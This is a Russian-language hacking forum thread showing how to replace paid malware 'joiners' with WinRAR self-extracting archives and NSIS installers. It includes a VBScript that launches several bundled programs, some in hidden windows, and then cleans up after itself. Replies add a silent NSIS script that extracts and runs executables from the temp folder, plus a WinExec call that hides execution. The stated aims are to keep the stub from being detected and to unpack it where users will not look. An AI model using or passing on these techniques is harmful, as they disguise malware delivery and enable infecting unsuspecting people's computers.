Халявная альтернатива приватному джойнеру

Тема в разделе "Статьи", создана пользователем j0sur, 18 мар 2012.

  1. j0sur
    j0sur Новичок
    Симпатии:
    7
    Здравствуйте. Сегодня я хочу познакомить Вас с неплохой, как мне кажется, альтернативой приватным джойнерам. Главное ее преимущество -- почти полная бесплатнойсть(в реалиях нашего общества) и отсутствие риска того, что стаб спалится.
    Сравниваем​
    Как многие уже поняли, речь пойдет о самораспаковывающихся архивах. Я буду использовать WinRar, но думаю есть и альтернативы.
    Давайте подумаем, чем отличается самораспаковывающийся архив от джойнеров.
    Минусы:
    • отсутствие стандартной возможности запускать несколько exe
    • довольно большой размер
    Плюсы:
    • неограниченное количество файлов внутри
    • возможность распаковываться в любую папку и использовать переменные среды в пути(подсказка vlader'а)
    • наличие структуры папок
    • отсутствие необходимости в упаковке(сомнительный, но все же)
    • ненадобность криптовать и отбеливать стаб
    Возможно списки неполны.
    Практика​

    Итак, что нам нужно от самораспаковывающегося архива?
    Во-первых, он должен беспаливно распаковаться где то далеко от глаз(реализуется стандартными средствами)
    Во-вторых, он должен запустить несколько прог(реализуем)
    в-третьих, он должен убрать за собой(реализуем)
    В этой статье не будет описан процесс создания невидимых самораспак. архивов, уточню лишь что логичнее папкой распаковки выбирать Programm Files(необычно, согласитесь там искать не будут:)) или temp.
    Запуск нескольких файлов.​

    Не секрет, что WinRar после распаковки разрешает запустить только один файл, но это легко обойти таким VBScript'ом:
    Код:
    option explicit
    
    'Run(<Command>,<WindowStyle>,<WaitOnReturn>)
    'command -- комманда(%comspec% заменяет cmd.exe)
    'WindowStyle -- стиль окна(ниже основные константы), необязательно
    'WaitOnReturn -- стоит ли дожидаться окончания программы до продолжения(true/false), необязательно
    
    'константы для run
    'WindowStyle:
    const ShowWindow=1 'показать окно программы
    const DontShowWindow=0 'скрытный запуск программы
    
    dim wshshell
    Set WshShell = CreateObject("WScript.Shell")
    
    WshShell.Run "prog2.exe", showwindow, true ' запускаем прогу
    WshShell.Run "text.txt", showwindow, true 'открываем текстовик(или любой другой файл)
    
    WshShell.Run "clean.cmd", dontshowwindow ' уборка
    
    Думаю, здесь нет ничего сложного, да и коментов достаточно.
    Clean.cmd​

    В предидущем скрипте Вы наверное заметили имя этого скрипта. Он делает уборку -- удаляет все файлы из архива (в принципе, не обязательно, но не повредит).
    Вывод​

    Вывод всего вышесказаного прост: иногда(ИМХО часто) можно обойтись и без приватных джойнеров, лишь WinRar'ом.
    Как обычно, буду рад выслушать Ваши коментарии, уточнения и пожелания.
     
    Последнее редактирование: 19 мар 2012
    18 мар 2012
    2 пользователям это понравилось.
  2. vlader
    vlader Guest
    Что ты имел в виду? Распаковываться можно в любую папку.
     
    18 мар 2012
  3. scalpel
    scalpel Новичок
    Симпатии:
    4
    Ваяем простой скрипт для инсталлятора NSIS:

    OutFile "loin.exe"
    SilentInstall silent
    RequestExecutionLevel user

    Section "file"
    SetOutPath "$TEMP" #куда будет распаковка и запуск файлов
    SetOverwrite on
    FindFirst $1 $2 $TEMP\1.exe #проверяем существование файлов,если файлы уже есть,то выходим.
    StrCmp $2 "1.exe" done
    FindFirst $1 $2 $TEMP\2.exe
    StrCmp $2 "2.exe" done
    FindFirst $1 $2 $TEMP\3.exe
    StrCmp $2 "3.exe" done
    File 1.exe #путь до файлов при создании архива.В данном случае из папки,там где скрипт.
    File 2.exe
    File 3.exe
    Exec $TEMP\1.exe #запускаем файлы
    Exec $TEMP\2.exe
    Exec $TEMP\3.exe
    done:
    FindClose $1
    SectionEnd

    К тому же подчеркну,что этим возможности нсиса не ограничены,использование собственных и сторонних плагинов,использование стандартных winapi функций в скрипте,шифрование файлов и многое другое.
    В отличии от Inno Setup установщик не может быть полностью декомпилирован,не возможно будет вытащить сценарий.
     
    18 мар 2012
  4. j0sur
    j0sur Новичок
    Симпатии:
    7
    сорри, у мя абсолютный путь чет не работает. Там можно использовать переменные среды?
    Ну а если логика посложнее, чем простой последовательный запуск(в зависимости от версии винды, времени, языка запускать проги с разными параметрами или вооще разные проги)?

    Добавлено через 2 минуты
    А NSIS может запустить проги скрытно?
     
    Последнее редактирование: 18 мар 2012
    18 мар 2012
  5. vlader
    vlader Guest
    j0sur, Да, использовать переменные среды можно. Ты вводишь путь, и у тебя автоматом ставится абсолютный путь.
    Если очень постараться, то можно реализовать, но код немного увеличится.
     
    18 мар 2012
  6. j0sur
    j0sur Новичок
    Симпатии:
    7
    совсем немного:)

    Добавлено через 2 минуты
    добавил
     
    Последнее редактирование: 18 мар 2012
    18 мар 2012
  7. scalpel
    scalpel Новичок
    Симпатии:
    4
    Да нет ничего проще!Один из вариантов.
    Код:
    System::Call 'kernel32.dll::WinExec(t "$TEMP\1.exe", i 0) i.r0'
     
    22 мар 2012
Загрузка...